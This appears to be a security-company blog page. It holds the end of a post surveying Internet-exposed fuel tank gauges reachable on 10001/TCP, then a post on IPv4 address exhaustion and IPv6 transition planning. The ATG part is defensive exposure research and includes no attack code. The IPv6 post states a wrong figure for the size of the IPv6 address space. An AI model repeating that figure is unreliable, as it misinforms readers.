Responded Good or Error for at least one TLS-250 or TLS-350 requestn/a6502This is rough representation of the number of ATGs that are likely directly exposed but not necessarily exposing sensitive data/functionality over TLS-250 or TLS-350
Responded Good for at least one TLS-250 or TLS-350 requestn/a6483This is a rough representation of the number of ATGs that are exposing sensitive data/functionality over TLS-250 or TLS-350 in some way.
Responded Unknown for all requestsn/a5260These devices are all likely not ATGs
Responded Error for at least one TLS-250 or TLS-350 requestn/a804These devices are all likely ATGs, all speaking TLS-250 or TLS-250, but our request was rejected an unknown reason
Empty for all TLS-250 requests, responded Good for TLS-350 Get In-Tank Inventory Report request, but Error for TLS-350 System Revision Level requestn/a4This response profile aligns with how GasPot behaves


As you can see from the table above, things haven't changed all that much.  While the one data point that can be compared dropped by ~13%, combined with the fact that the number is so small to begin with (~5-6k), that our blacklist grew by ~5% (+~35m), and that what is exposed where changes all the time on the public Internet, I view this as an insignificant change.




While the drop in exposed, vulnerable ATGs in the last 10 months is insignificant, one fact becomes readily apparent and should be alarming -- there are over 5000 improperly protected, IoT-style devices connected to tanks storing millions of gallons of flammable, valuable liquids all over the world.  Jack Chadowitz, the community member we've been working with on this, recently presented his findings from this work at the 2015 ICS Cyber Security Conference in Georgia.


As mentioned in the original publication we did back in January, there are a variety of solutions to protect these exposed ATGs, including using VPN or firewall-based solutions or simply configuring a secure password.  We cannot draw any conclusions about the number of ATGs protected by VPN or firewall-based solutions because it is assumed that these solutions would prevent 10001/TCP from being found open in the first place.  Regarding the use of passwords as a solution, we can make a stretch observation.  We assume that any device with 10001/TCP open that either did not respond (Empty) or received an Unknown response to all of our TLS-250 and TLS-350 requests is either not an ATG or is an ATG that is secured through other manners, from that we propose that any device that responded Good or Error is an ATG of some sort.  We know that there were 804 devices with 10001/TCP open that responded Error, and there are several reasons why we'd get Error, including us sending an ATG request that the device just happened to not support or considered invalid, or if there was authentication configured.  In other words, some of those 804 devices may be using authentication, but how many is unknown and likely few.


To aid in identifying potentially vulnerable devices on your networks, we've added a simplistic Metasploit module for detecting and interacting with ATGs.  This was written and tested against GasPot, a honeypot simulating some ATG functionality, however it is likely to work on real ATGs as well; still, use at your own risk.


We welcome your feedback!

Joel Cardella

The End Of The Internet

Posted by Joel Cardella Employee Oct 12, 2015

On Sept 24th, ARIN announced it had finally run out of IPv4 addresses. The open pool of IPv4 addresses is now gone, and the only way to get them now is via a transfer from another party who owns them or IP ranges which are returned to ARIN.


The switch to IPv6 is imminent. Once switched, the number of available public addresses available will be roughly 4.2 x 10^37. This will be more than capable of handling our need for interconnection for decades.



What Does This Announcement Mean?


This means we have reached the limit of what 32-bit addressing can give us, about 4.2 billion things. The projections on Internet Of Everything devices however number 25 billion by 2020. This means that we will likely be playing a shell game for a while of using the open IPv4 addresses while trying to build and deploy IoE devices at breakneck speeds. But eventually, we hit a wall.


Where Did All The IPv4 Space Go?


By 1995, the last restrictions on using the Internet to carry commercial traffic were lifted, allowing for the emergence of the modern day internet, which continues to evolve. Likely in anticipation of this, the Department of Defense becomes the owner of the largest number of IPv4 addresses, with over 218 million usable. This is just over 5% of the total IPv4 addressable space.


The rest of it is used by innovations within an information revolution, which we are currently (still!) in the middle of. Globalization, commercialization, e-business and mobile technologies are the biggest drivers of IP use. Innovations like cloud computing, the Internet Of Everything, and a voracious appetite for data all lead to the inevitability of using up a finite resource.


How Should Organizations Proceed?


The most obvious answer is making the switch to IPv6 as soon as possible. But, the switch to IPv6 is not easy, and many companies have not even started. Adoption is slow and no one is yet ready to “turn off” IPv4. That’s going to take a lot of agreement among a lot of people. Just a few of the issues at risk are software compatibility, replacement costs of hardware, and ease of use/deployment based on current skill and knowledge.


The DoD started working on an IPv6 implementation in 2003. They sought to demonstrate IPv6 viability for all network backbones by 2008, and implement. Of course it took until 2012 for the government to decide it had met the initial goals! But the point is, they had proven IPv6 is viable, and then they disabled the functionality. So the DoD backbones still use IPv4, which is more limited, hampers their innovation and impacts the DoD’s very specialized version of the Internet of Everything.


As software consultants, we will often cite IPv6 as a security concern and suggest that organizations disable IPv6 services. This is not because we think IPv6 is less secure. We understand that organizational maturity is a key factor in securing an enterprise of any size, and complications with understanding and managing IPv6 increase the attack surface for threat actors. It’s simply too large a negative risk to manage and secure IPv4 and IPv6 in parallel. Until the entire enterprise is ready to make the switch, which for some could take many years, we will continue to recommend this.


It’s estimated that 15%-20% of allocated IPv4 addresses are not being utilized. That means the shift to larger spaces will likely take some time. It also opens up the possibilities of IPv4 marketplaces, similar to what we have today with domain names. ARIN has already said they will not limit the number of transfer requests as of Sept 24. The DoD might also start releasing unallocated space back if they make the full switch to IPv6. This would breathe some limited life into the kicking corpse of IPv4.


Unfortunately, none of this is optimal, and certainly not desirable. But there is hope. Requirements to be “IPv6 ready” have been in place for all systems being placed on the DoD networks, including commercial products, for quite some time. This has spurred a number of organizations to work towards this goal in order to keep their business relationships with the DoD. In this regard, the DoD actually inspires change and progress to be made. We just need now to lead a charge to make the switch in the commercial industrial space.


The Next Steps


The right thing is to start planning your IPv6 transition now.


  • First and foremost, start documenting your network requirements. For any organization which seeks to increase its maturity we find a lack of documentation being the biggest contributing factor to security posture. Organize your network assets, classify them using a simple classification scheme, and identify which assets are IPv6 ready. For the ones that are not, make sure that your equipment refresh plans include IPv6 support. Also ensure your current and future purchase pans include this.
  • Document your IPv6 allocated and unallocated space, to prepare your addressing plan. This will be instrumental in helping you make the transition when you are ready.
  • Educate yourself on IPv6! The assumptions of IPv4 do not always exist in IPv6.
  • Work with your providers on IPv6 requirements. They need to support it, and they need to support you.
  • Test your plans and assumptions! Monitor for reliability and performance – in test and production
  • Advertise in DNS by updating with AAAA records pointing to IPv6 addresses


For more information on making the switch to IPv6, TeamARIN has some great information and resources for you.


This post was co-authored by Joel Cardella and Cindy Jones. You can reach us on Twitter at @JoelConverses and @SinderzNAshes.


EDIT: Corrected Cindy's twitter handle!

Filter Blog

By date: By tag: